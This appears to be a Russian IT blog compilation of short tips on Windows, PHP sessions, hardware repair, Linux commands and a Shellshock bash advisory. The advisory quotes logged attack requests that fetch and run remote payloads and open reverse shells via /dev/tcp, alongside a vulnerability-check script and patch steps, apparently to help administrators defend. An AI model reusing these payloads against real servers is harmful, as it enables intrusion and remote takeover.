Откат к старой ОС после установки Windows 10
В последнее время установка Windows 10 происходит «незаметно» и неотвратимо для пользователя.
Как вернуть предыдущую операционную систему?
Дело в том, что обновление до Windows 10 принудительно отмечается для установки при выключении компьютера. И при очередном выключении компьютера или ноутбука Windows 10 будет установлена.
В этом случае у вас есть 30 дней для возврата к вашей старой операционной системе.
Для отката к предыдущей операционной системе необходимо сделать следующее:
1. Нажать на панель уведомлений «Все параметры»
2. Перед вами откроется новая «панель управления». Выбираем пункт «Обновление и безопасность»
3. И осталось нажать на «Вернуться к ..» к вашей предыдущей операционной системе Windows 7, 8 или 8.1
Удаление файлов или директорий с пробелом в конце имени
Бывает при копировании файлов или директорий происходит сохранение имен с пробелами в конце имени. Такие файлы и папки удалить не получится. Так как ОС при работе с такими файлами или папками «обрезает» имя, удаляя пробел в конце имени и таким образом манипуляции с файлом или папкой могут быть затруднены. Их нельзя переименовать, удалить, переместить и прочее.
Чтобы удалить файлы или папки с пробелами необходимо воспользоваться встроенной командой:
rmdir "\\?\c:\путь_к_файлу_или_папке_с_пробелом "
Все это делается в командной строке с правами администратора.
Работаем с несколькими сессиями в PHP
Сессии в PHP нужны для сохранения различных данных при работе с клиентскими запросами. Например чтобы знать, что несколько запросов разнесенные по времени к серверу принадлежат одному пользователю, то для него открывается сессия.
Создаем сессию командой session_start();
При этом на сервере создается файл с данными о сессии, а клиенту отправляется HTTP заголовок:
Set-Cookie: PHPSESSID=c3700a86946ba8a60c6397d7e388a801; path=/
Клиент должен при каждом запросе передавать в заголовке это значение куки. Таким образом сервер и PHP будет понимать, что этот тот самый клиент.
Теперь можно используя глобальную переменную $_SESSION записывать и считывать значения из файла с данными на сервере. Доступ, к которому, имеет PHP на сервере.
Если не работаю куки на клиенте, то ID сессии можно передавать от клиента запросами GET и POST.
По умолчанию сессия для клиента создается одна и имеет имя session.name прописанное в конфигурации. В нашем случае это PHPSESSID.
Функция session_name() позволяет задать другое имя или вернуть текущее.
Таким образом мы можем создавать несколько сессий для одного клиента.
session_name(«SESSID1»);
session_start();
$_SESSION[«myvar»] = «session_var1»;
А в другом файле:
session_name(«SESSID2»);
session_start();
$_SESSION[«myvar»] = «session_var2»;
Соответственно мы зарегистрируем две сессии с разными ID и myvar в них будет отличаться.
Получить ID сессии можно функцией session_id()
Данные, сохраняемые в файле сессии могут быть любыми, которые можно сериализовать. Например нельзя сохранить в файле сессии ресурс PHP
Программа проверки файлов sfc не создает лог файл
Если вы загрузились в среду восстановления запуска Windows 7, то выполнение команды для проверки целостности файлов операционной системы не будет создавать лог файл. Это происходит потому, что не установлена системная переменная для лог файла. Ее необходимо определить.
set WINDOWS_TRACING_LOGFILE=D:\CBS.log
После этого можно выполнить команду для проверки системных файлов.
sfc /scannow /OFFBOOTDIR=D:\ /OFFWINDIR=D:\windows
Не включается свич DGS-1024D — ремонт
Есть такой гигабитный свич от DLink DGS-1024D.
Есть у него «болезнь», из-за которой этот свич перестает работать нормально.
Бывает после скачка напряжения в сети свич перестает работать.
Или просто через некоторое время перестает включаться.
При этом вентилятор принудительного охлаждения может крутится или начинает крутится после толчка пальцем.
Если не видно явных признаков — вздутых конденсаторов, сгоревших элементов, то
вероятнее всего причина в подсевшем конденсаторе в блоке питания C12.
Блок питания NAD-116.
Вот этот конденсатор указан стрелкой, но на фото уже новый конденсатор.
Если у вас есть возможность замерить выходное напряжение то оно должно быть в норме 12 вольт.
Если у вас напряжение с нагрузкой низкое, а без нагрузки в норме, то вероятнее всего это именно конденсатор С12.
Необходимо его заменить даже если он выглядит как новый.
Небольшая «просадка» в емкости этого конденсатора приводит к такой неисправности из-за недостаточной фильтрации.
Обратная сторона платы блока питания. ШИМка стоит KA3882
Уязвимости в GNU’s bash shell
Обнаружены несколько уязвимостей(CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) в bash.
Уязвимости позволяют выполнить удаленно команды на целевой машине.
Уязвимость присутствует в bash от версии 1.14(1994 года) и до версии 4.3
Проникновение может происходить через sshd, модули mod_cgi и mod_cgid сервера Apache HTTP Server.
Вот такие запросы посылают на сервер:
"GET / HTTP/1.0" 200 314 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"" "GET /cgi-bin/test.sh HTTP/1.0" 403 29045 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"" "GET /test HTTP/1.0" 404 202 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"" "GET / HTTP/1.0" 200 314 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" "GET /cgi-bin/hi HTTP/1.0" 403 29045 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" "GET / HTTP/1.1" 200 314 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" "GET /cgi-bin/hi HTTP/1.0" 403 29045 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/ji ; perl /tmp/ji;rm -rf /tmp/ji\"" "GET /cgi-bin/hi HTTP/1.0" 403 29045 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\"" "GET //cgi-bin//he HTTP/1.0" 403 29045 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://89.33.193.10/ji ; lwp-download http://89.33.193.10/ji ; curl -O /var/tmp/ji http://89.33.193.10/ji ; perl /var/tmp/ji ; rm -rf *ji;rm -rf jur\"" "GET / HTTP/1.0" 200 314 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" "HEAD /.bash_history HTTP/1.1" 404 - "HEAD /.bash_history HTTP/1.1" 404 - "-" "-" "GET / HTTP/1.0" 200 656 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "GET / HTTP/1.0" 200 656 "() { :; }; ping -c 3 198.46.158.94" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "GET / HTTP/1.0" 200 656 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'" "GET / HTTP/1.1" 200 656 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a" "GET / HTTP/1.0" 200 656 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" "GET / HTTP/1.0" 200 656 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" "GET /cgi-bin/hi HTTP/1.0" 403 16813 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" "GET /hacker.txt&sa=U&ei=JHspVNnGLsPx8gXS-YHoBA&ved=0CIsBEBYwFjhk&usg=AFQjCNF4L3D_kahVPJ1hhDDzMpo5jsvAbA//cgi-bin/env.pl HTTP/1.1" 404 344 "() { :; }; \"exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\";" "() { :; }; \"exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\";" "GET /hacker.txt&sa=U&ei=WoUpVO32A8yk8AX72YDYBg&ved=0CP8DEBYwXw&usg=AFQjCNEVbkpRD1WHaQMVRkPmLtMYF2-stA//cgi-bin/env.sh HTTP/1.1" 400 226 "() { :; }; \"exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\"; \"system('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\";" "() { :; }; \"exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\"; \"system('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\";" "GET /cgi-bin/hi HTTP/1.0" 403 16813 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\"" "GET /hacker.txt HTTP/1.1" 200 700020 "-" "() { :;}; /bin/bash -c \"curl -O http://89.248.172.139/ha.pl -o /tmp/ha.pl; lwp-download -a http://89.248.172.139/ha.pl /tmp/ha.pl;wget http://89.248.172.139/ha.pl -O /tmp/ha.pl;perl /tmp/ha.pl;rm -f /tmp/ha.pl;mkdir /tmp/ha.pl\"" "GET /botnet_hack.txt HTTP/1.1" 200 1054859 "-" "() { :;}; /bin/bash -c \"curl -O http://89.248.172.139/ha.pl -o /tmp/ha.pl; lwp-download -a http://89.248.172.139/ha.pl /tmp/ha.pl;wget http://89.248.172.139/ha.pl -O /tmp/ha.pl;perl /tmp/ha.pl;rm -f /tmp/ha.pl;mkdir /tmp/ha.pl\"" "GET /cgi-bin/load.cgi HTTP/1.1" 403 16813 "-" "() { :;}; echo `echo xbash:test`" "GET /cgi-bin/gsweb.cgi HTTP/1.1" 403 16813 "-" "() { :;}; echo `echo xbash:test`" "GET /cgi-bin/redirector.cgi HTTP/1.1" 403 16813 "-" "() { :;}; echo `echo xbash:test`" "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1" "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1" "GET /hacker_bash.txt HTTP/1.1" 200 5818 "() { :;}; echo; /usr/bin/env wget http://92.243.89.208/robots.txt?for=http://www.designsim.com.au/hacker_bash.txt -O /dev/null;" "() { :;}; echo; /usr/bin/env wget http://92.243.89.208/robots.txt?for=http://www.designsim.com.au/hacker_bash.txt -O /dev/null;" "GET /cgi-bin/bts.cgi HTTP/1.0" 403 16813 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://100.42.30.34/lex ; curl -O http://100.42.30.34/lex ; perl lex ;rm -rf lex\"" "GET /cgi-bin/btw.cgi HTTP/1.0" 403 16813 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf sa* ; wget http://100.42.30.34/lex1 ; lwp-download http://100.42.30.34/lex1 ; curl -O /var/tmp/lex1 http://100.42.30.34/lex1 ; perl /var/tmp/lex1 ; rm -rf /var/tmp/lex*;rm -rf lex1\"" "GET / HTTP/1.1" 200 656 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget www.freistilreisen.de/jack.jpg -O /tmp/jack.jpg;curl -O /tmp/jack.jpg www.freistilreisen.de/jack.jpg;perl /tmp/jack.jpg;rm -rf /tmp/jack.jpg*\");'" "GET /cgi-bin/btw.cgi HTTP/1.0" 403 16813 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf sa* ; wget http://100.42.30.34/lex1 ; lwp-download http://100.42.30.34/lex1 ; curl -O /var/tmp/lex1 http://100.42.30.34/lex1 ; perl /var/tmp/lex1 ; rm -rf /var/tmp/lex*;rm -rf lex1\"" "GET /cgi-bin/btw.cgi HTTP/1.0" 403 16813 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf sa* ; wget http://100.42.30.34/lex1 ; lwp-download http://100.42.30.34/lex1 ; curl -O /var/tmp/lex1 http://100.42.30.34/lex1 ; perl /var/tmp/lex1 ; rm -rf /var/tmp/lex*;rm -rf lex1\"" "GET /favicon.ico HTTP/1.1" 200 894 "-" "() { :;}; /bin/bash -c \\\"cd /tmp;wget http://183.129.218.147/a.pl;curl -O /tmp/a.pl http://183.129.218.147/a.pl ; perl /tmp/a.pl 69.65.41.24 8448;rm -rf /tmp/a.pl\\\""
Скрипт для проверки уязвимости:
#!/bin/bash warn() { if [ "$scary" == "1" ]; then echo -e "\033[91mVulnerable to $1\033[39m" else echo -e "\033[93mFound non-exploitable $1\033[39m" fi } good() { echo -e "\033[92mNot vulnerable to $1\033[39m" } tmpdir=`mktemp -d -t tmp.XXXXXXXX` [ -n "$1" ] && bash=$(which $1) || bash=$(which bash) echo -e "\033[95mTesting $bash ..." $bash -c 'echo "Bash version $BASH_VERSION"' echo -e "\033[39m" #r=`a="() { echo x;}" $bash -c a 2>/dev/null` if [ -n "$(env 'a'="() { echo x;}" $bash -c a 2>/dev/null)" ]; then echo -e "\033[91mVariable function parser active, maybe vulnerable to unknown parser bugs\033[39m" scary=1 elif [ -n "$(env 'BASH_FUNC_a%%'="() { echo x;}" $bash -c a 2>/dev/null)" ]; then echo -e "\033[92mVariable function parser pre/suffixed [%%, upstream], bugs not exploitable\033[39m" scary=0 elif [ -n "$(env 'BASH_FUNC_a()'="() { echo x;}" $bash -c a 2>/dev/null)" ]; then echo -e "\033[92mVariable function parser pre/suffixed [(), redhat], bugs not exploitable\033[39m" scary=0 elif [ -n "$(env '__BASH_FUNC<a>()'="() { echo x;}" $bash -c a 2>/dev/null)" ]; then echo -e "\033[92mVariable function parser pre/suffixed [__BASH_FUNC<..>(), apple], bugs not exploitable\033[39m" scary=0 else echo -e "\033[92mVariable function parser inactive, bugs not exploitable\033[39m" scary=0 fi r=`env x="() { :; }; echo x" $bash -c "" 2>/dev/null` if [ -n "$r" ]; then warn "CVE-2014-6271 (original shellshock)" else good "CVE-2014-6271 (original shellshock)" fi pushd $tmpdir > /dev/null env x='() { function a a>\' $bash -c echo 2>/dev/null > /dev/null if [ -e echo ]; then warn "CVE-2014-7169 (taviso bug)" else good "CVE-2014-7169 (taviso bug)" fi popd > /dev/null $($bash -c "true $(printf '<<EOF %.0s' {1..80})" 2>$tmpdir/bashcheck.tmp) ret=$? grep AddressSanitizer $tmpdir/bashcheck.tmp > /dev/null if [ $? == 0 ] || [ $ret == 139 ]; then warn "CVE-2014-7186 (redir_stack bug)" else good "CVE-2014-7186 (redir_stack bug)" fi $bash -c "`for i in {1..200}; do echo -n "for x$i in; do :;"; done; for i in {1..200}; do echo -n "done;";done`" 2>/dev/null if [ $? != 0 ]; then warn "CVE-2014-7187 (nested loops off by one)" else echo -e "\033[96mTest for CVE-2014-7187 not reliable without address sanitizer\033[39m" fi $($bash -c "f(){ x(){ _;};x(){ _;}<<a;}" 2>/dev/null) if [ $? != 0 ]; then warn "CVE-2014-6277 (lcamtuf bug #1)" else good "CVE-2014-6277 (lcamtuf bug #1)" fi if [ -n "$(env x='() { _;}>_[$($())] { echo x;}' $bash -c : 2>/dev/null)" ]; then warn "CVE-2014-6278 (lcamtuf bug #2)" elif [ -n "$(env BASH_FUNC_x%%='() { _;}>_[$($())] { echo x;}' $bash -c : 2>/dev/null)" ]; then warn "CVE-2014-6278 (lcamtuf bug #2)" elif [ -n "$(env 'BASH_FUNC_x()'='() { _;}>_[$($())] { echo x;}' $bash -c : 2>/dev/null)" ]; then warn "CVE-2014-6278 (lcamtuf bug #2)" else good "CVE-2014-6278 (lcamtuf bug #2)" fi rm -rf $tmpdir
Необходимо обновить bash, для этого необходимо установить самый свежий bash из исходников:
curl -O http://ftp.gnu.org/gnu/bash/bash-4.3.30.tar.gz tar xvfz bash-4.3.30.tar.gz cd bash-4.3.30 for i in $(seq -f "%03g" 0 30); do curl https://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-$i | patch -p0; done ./configure --prefix=/usr --bindir=/bin --htmldir=/usr/share/doc/bash-4.3 --without-bash-malloc --with-installed-readline make && make install
Embarcadero AppWave фантомные лицензии Delphi
Если вы приобрели лицензионный Delphi, то обязательно вам необходимо установить сервер лицензий Embarcadero AppWave на базе Tomcat и Java.
В один прекрасный день вы можете обнаружить, что у вас не хватает лицензий Delphi для ваших пользователей.
Например у вас 20 лицензий, клиентов 10, а лицензий не хватает….
При просмотре подключенных клиентов на сервере вы обнаружите кроме обычных клиентов с их именами несколько подключений с именами машин и знаком $.
Это значит, что есть подключения от сервиса запущенного на клиентских машинах.
Т.е. клиент не работает в Delphi но лицензию использует!!!
Все очень просто — это InterBase сервер, который устанавливается на клиентской машине вместе с клиентом Delphi и запускается автоматически.
Почему сервер InterBase на клиентах использует сервер лицензий для меня непонятно, ведь сервер лицензий предназначен для Delphi.
Решение этой проблемы простое — надо отключить или перевести в ручной запуск службу сервера InterBase на клиентских машинах.
Вывод использования памяти, команда ps
Часто возникает необходимость узнать какие процессы используют память и в каком объеме.
Для этого можно использовать простую команду ps:
> ps aux —sort -vsz
или по использованию физической памяти:
> ps aux —sort -rss
Ключ а — выводит информацию обо всех наиболее часто запрашиваемых процессах
Ключ u — выдавать информацию только о процессах с заданными идентификаторами или входными именами пользователей. Идентификатор пользователя выводится в числовом виде, а при наличии опции -f — в символьном.
А ключ —sort позволяет отсортировать результат по использованию памяти в убывающем порядке.
Заряжаем внешнюю батарею YSD-998
Приобрел я вот такую батарею для питания различных устройств.
Выходное напряжение 12В, 9В и 5В
Инструкции по использованию у этой батареи нет.
Как же зарядить эту батарею?
Все очень просто.
1. Вставляем зарядной устройство в батарею разъем DC12V IN/OUT.
2. Батарея должна быть включена.
3. Вставляем зарядной устройство в сеть 220В.
На зарядном устройстве должен гореть красный светодиод. И загорится зеленый он показывает, что зарядка началась.
Когда на зарядном устройстве зеленый светодиод погаснет — значит батарея заряжена.
В зарядном устройстве есть защита от перезарядки. Когда батарея заряжена, то зарядное отключается.